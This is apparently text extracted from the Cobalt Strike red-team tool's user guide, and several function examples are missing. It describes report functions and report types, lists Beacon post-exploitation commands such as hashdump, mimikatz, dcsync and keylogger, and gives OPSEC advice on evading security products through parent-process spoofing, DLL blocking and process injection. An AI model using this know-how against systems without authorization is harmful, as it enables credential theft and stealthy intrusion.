Example
br();
describe
Set a description for a report.
Arguments
Example
h1
Prints a title heading.
Arguments
Example
h2
Prints a sub-title heading.
Arguments
Example
h3
Prints a sub-sub-title heading.
Arguments
Example
h4
Prints a sub-sub-sub-title heading.
Arguments
Example
kvtable
Prints a table with key/value pairs.
Arguments
Example
kvtable($table);
landscape
Changes the orientation of this document to landscape.
Example
landscape();
layout
Prints a table with no borders and no column headers.
Arguments
$3 - an array with a dictionary object for each row. The dictionary should have keys that
correspond to each column.
Example
list_unordered
Prints an unordered list
Arguments
Example
nobreak
Group report elements together without a line break.
Arguments
Example
output
Print elements against a grey backdrop. Line-breaks are preserved.
Arguments
Example
output({
p("This is line 1
and this is line 2.");
});
p
Prints a paragraph of text.
Arguments
Example
p_formatted
Prints a paragraph of text with some format preservation.
Arguments
* I am item 1
* I am item 2
* etc.
===I am a heading===
Example
table
Prints a table
Arguments
$3 - an array with a dictionary object for each row. The dictionary should have keys that
correspond to each column.
Example
ts
Prints a time/date stamp in italics.
Example
ts();
Reports
Cobalt Strike has several report options to help make sense of your data and convey a story to
your clients. You may configure the title, description, and hosts displayed in most reports.
Go to the Reporting menu and choose one of the reports to generate. Cobalt Strike will export
your report as an MS Word or PDF document.
Activity Report
The activity report provides a timeline of red team activities. Each of your post-exploitation
activities are documented here.
Hosts Report
The hosts report summarizes information collected by Cobalt Strike on a host-by-host basis.
Services, credentials, and sessions are listed here as well.
Indicators of Compromise
This report resembles an Indicators of Compromise appendix from a threat intelligence report.
Content includes a generated analysis of your Malleable C2 profile, which domain you used, and
MD5 hashes for files you’ve uploaded.
Sessions Report
This report documents indicators and activity on a session-by-session basis. This report
includes: the communication path each session used to reach you, MD5 hashes of files put on
disk during that session, miscellaneous indicators (e.g., service names), and a timeline of post-
exploitation activity. This report is a fantastic tool to help a network defense team understand all
of red’s activity and match their sensors to your activity.
Social Engineering
The social engineering report documents each round of spear phishing emails, who clicked, and
what was collected from each user that clicked. This report also shows applications discovered
by the system profiler.
figure 83 - Preferences
Your custom image should be 1192x257px set to 300dpi. The 300dpi setting is necessary for
the reporting engine to render your image at the right size.
You may also set an accent color. This accent color is the color of the thick line below your
image on the first page of the report. Links inside reports use the accent color too.
Custom Reports
Cobalt Strike uses a domain specific language to define its reports. You may load your own
reports through the Report Preferences dialog. To learn more about this feature, consult the
Custom Reports chapter of the Aggressor Script documentation.
Appendix
Keyboard Shortcuts
The following keyboard shortcuts are available.
TIP:
The full list of Default Keyboard Shortcuts are available from the menu (Help -> Default
Keyboard Shortcuts).
API-only
The following commands are built into Beacon and rely on Win32 APIs to meet their objectives:
cd
cp
connect
download
drives
exit
getprivs
getuid
inline-execute
jobkill
kill
link
ls
make_token
mkdir
mv
ps
pwd
rev2self
rm
rportfwd
rportfwd_local
setenv
socks
steal_token
unlink
upload
House-keeping Commands
The following commands are built into Beacon and exist to configure Beacon or perform house-
keeping actions. Some of these commands (e.g., clear, downloads, help, mode, note) do not
generate a task for Beacon to execute.
argue
blockdlls
cancel
checkin
clear
downloads
help
jobs
mode dns
mode dns-txt
mode dns6
note
powershell-import
ppid
sleep
socks stop
spawnto
The following commands are implemented as internal Beacon Object Files. A Beacon Object
File is a compiled C program, written to a certain convention, that executes within a Beacon
session. The capability is cleaned up after it finishes running.
dllload
elevate svc-exe
elevate uac-token-duplication
getsystem
jump psexec
jump psexec64
jump psexec_psh
kerberos_ccache_use
kerberos_ticket_purge
kerberos_ticket_use
net domain
reg query
reg queryv
remote-exec psexec
remote-exec wmi
runasadmin uac-cmstplua
runasadmin uac-token-duplication
timestomp
The network interface resolution within both the portscan and covertvpn dialogs uses a Beacon
Object File as well.
OPSEC Advice
The memory for Beacon Object Files is controlled with settings from the Malleable C2’s
process-inject block.
Fork&Run Only
covertvpn
execute-assembly
powerpick
browserpivot
psinject
chromedump
dcsync
desktop
hashdump
keylogger
logonpasswords
mimikatz
net *
portscan
printscreen
pth
screenshot
screenwatch
ssh
ssh-key
OPSEC Advice
Use the spawnto command to change the process Beacon will launch for its post-exploitation
jobs. The default is rundll32.exe (you probably don’t want that). The ppid command will change
the parent process these jobs are run under as well. The blockdlls command will stop userland
hooking for some security products. Malleable C2's process-inject block gives a lot of control
over the process injection process. Malleable C2's post-ex block has several OPSEC options for
these post-ex DLLs themselves. For features that have an explicit injection option, consider
injecting into your current Beacon process. Cobalt Strike detects and acts on self-injection
different from remote injection.
Explicit injection will not cleanup any memory after the post-exploitation job has completed. The
recommendation is to inject into a process that can be safely terminated by you to cleanup in-
memory artifacts.
Process Execution
execute
run
runas
runu
OPSEC Advice
The ppid command will change the parent process of commands run by execute. The ppid
command does not affect runas or runu.
The pth command relies on cmd.exe to pass a token to Beacon via a named pipe. The
command pattern to pass this token is an indicator some host-based security products look for.
Read How to Pass-the-Hash with Mimikatz for instructions on how to do this manually.
jump
winrm
jump winrm64
powershell
remote-exec winrm
OPSEC Advice
Use the ppid command to change the parent process powershell.exe is run under. Use the
POWERSHELL_COMMAND Aggressor Script hook to change the format of the PowerShell
command and its arguments. The jump winrm, jump winrm64, and powershell [when a script
is imported] commands deal with PowerShell content that is too large to fit in a single
command-line. To get around this, these features host a script on a self-contained web server
within your Beacon session. Use the POWERSHELL_DOWNLOAD_CRADLE Aggressor Script
hook to shape the download cradle used to download these scripts.
The post-exploitation job commands (previously mentioned) rely on process injection too. The
other commands that inject into a remote process are:
dllinject
dllload
inject
shinject
OPSEC Advice
Malleable C2's process-inject block block gives a lot of control over the process injection
process. When beacon exits an injected process it will not clean itself from memory and will no
longer be masked when the stage.sleep_mask is set to true. With the 4.5 release most of the
heap memory will be cleared and released. Recommendation is to not exit beacon if you do not
want to leave memory artifacts unmasked during your engagement. When your engagement is
done it is recommended to reboot all of the targeted systems to remove any lingering in-
memory artifacts.
elevate uac-token-duplication
shspawn
spawn
spawnas
spawnu
spunnel
spunnel_local
OPSEC Advice
Use the spawnto command to set the temporary process to use. The ppid command sets a
parent process for most of these commands. The blockdlls command will block userland
hooks from some security products. Malleable C2's process-inject block gives a lot of control
over the process injection process. Malleable C2's post-ex block provides options to adjust
Beacon's in-memory evasion options.
Service Creation
The following internal Beacon commands create a service (either on the current host or a
remote target) to run a command. These commands use Win32 APIs to create and manipulate
services.
elevate svc-exe
jump psexec
jump psexec64
jump psexec_psh
remote-exec psexec
OPSEC Advice
These commands use a service name that consists of random letters and numbers by default.
The Aggressor Script PSEXEC_SERVICE hook allows you to change this behavior. Each of these
commands (excepting jump psexec_psh and remote-exec psexec) generate a service EXE and
upload it to the target. Cobalt Strike's built-in service EXE spawns rundll32.exe [with no
arguments], injects a payload into it, and exits. This is done to allow immediate cleanup of the
executable. Use the Artifact Kit to change the content and behaviors of the generated EXE.
Unicode Support
Unicode is a map of characters in the world's languages to a fixed number or code-point. This
document covers Cobalt Strike's support for Unicode text.
Encodings
Unicode is a map of characters to numbers (code-points), but it is not an encoding. An encoding
is a consistent way to assign meaning to individual or byte sequences by mapping them to
code-points within this map.
Internally, Java applications, store and manipulate characters with the UTF-16 encoding. UTF-
16 is an encoding that uses two bytes to represent common characters. Rarer characters are
represented with four bytes. Cobalt Strike is a Java application and internally, Cobalt Strike is
capable of storage, manipulation, and display of text in the world's various writing systems.
There's no real technical barrier to this in the core Java platform.
In the Windows world, things are a little different. The options in Windows to represent
characters date all the way back to the DOS days. DOS programs work with ASCII text and those
beautiful box drawing characters. A common encoding to map numbers 0-127 to US ASCII and
128-255 to those beautiful box drawing characters has a name. It's codepage 437. There are
several variations of codepage 437 that mix the beautiful box drawing characters with
characters from specific languages. This collection of encodings is known as an OEM encoding.
Today, each Windows instance has a global OEM encoding setting. This setting dictates how to
interpret the output of bytes written to a console by a program. To interpret the output of
cmd.exe properly, it's important to know the target's OEM encoding.
The fun continues though. The box drawing characters are needed by DOS programs, but not
necessarily Windows programs. So, with that, Windows has the concept of an ANSI encoding.
It's a global setting, like the OEM encoding. The ANSI encoding dictates how ANSI Win32 APIs
will map a sequence of bytes to code-points. The ANSI encoding for a language forgoes the
beautiful box drawing characters for characters useful in the language that encoding is
designed for. An encoding is not necessarily confined to mapping one byte to one character. A
variable-length encoding may represent the most common characters as a single byte and then
represent others as some multi-byte sequence.
ANSI encodings are not the full story though. The Windows APIs often have both ANSI and
Unicode variants. An ANSI variant of an API accepts and interprets a text argument as described
above. A Unicode Win32 API expects text arguments that are encoded with UTF-16.
In Windows, there are multiple encoding situations possible. There's OEM encoding which can
represent some text in the target's configured language. There's ANSI encoding which can
represent more text, primarily in the target's configured language. And, there's UTF-16 which
can contain any code-point. There's also UTF-8 which is a variable-length encoding that's space
efficient for ASCII text, but can contain any code-point too.
Beacon
Cobalt Strike's Beacon reports the target's ANSI and OEM encodings as part of its session
metadata. Cobalt Strike uses these values to encode text input, as needed, to the target's
encoding. Cobalt Strike also uses these values to decode text output, as needed, with the
target's encoding.
In general, the translation of text to and from the target's encoding is transparent to you. If you
work on a target, configured to one language, things will work as you expect.
Different behaviors, between commands, will show up when you work with mixed language
environments. For example, if output contains characters from Cyrillic, Chinese, and Latin
alphabets, some commands will get it right. Others won't.
Most commands in Beacon use the target's ANSI encoding to encode input and decode output.
The target's configured ANSI encoding may only map characters to code-points for a handful of
writing systems. If the ANSI encoding of the current target does not map Cyrillic characters,
make_token will not do the right thing with a username or password that uses Cyrillic
characters.
Some command, in Beacon, use UTF-8 for input and output. These commands will, generally,
do what you expect with mixed language content. This is because UTF-8 text can map
characters to any Unicode codepoint.
The following table documents which Beacon commands use something other than the ANSI
encoding to decode input and output:
NOTE:
For those that know mimikatz well, you'll note that mimikatz uses Unicode Win32 APIs
internally and UTF-16 characters. Where does UTF-8 come from? Cobalt Strike's interface
to mimikatz sends input as UTF-8 and converts output to UTF-8.
SSH Sessions
Cobalt Strike's SSH sessions use UTF-8 encoding for input and output.
Logging
Cobalt Strike's logs are UTF-8 encoded text.
Fonts
Your font may have limitations displaying characters from some writing systems. To change
the Cobalt Strike fonts:
Go to Cobalt Strike -> Preferences -> Cobalt Strike to change the GUI Font value. This will
change the font Cobalt Strike uses in its dialogs, tables, and the rest of the interface.
Go to Cobalt Strike -> Preferences -> Console to change the Font used by Cobalt Strike's
consoles.
Cobalt Strike -> Preferences -> Graph has a Font option to change the font used by Cobalt
Strike's pivot graph.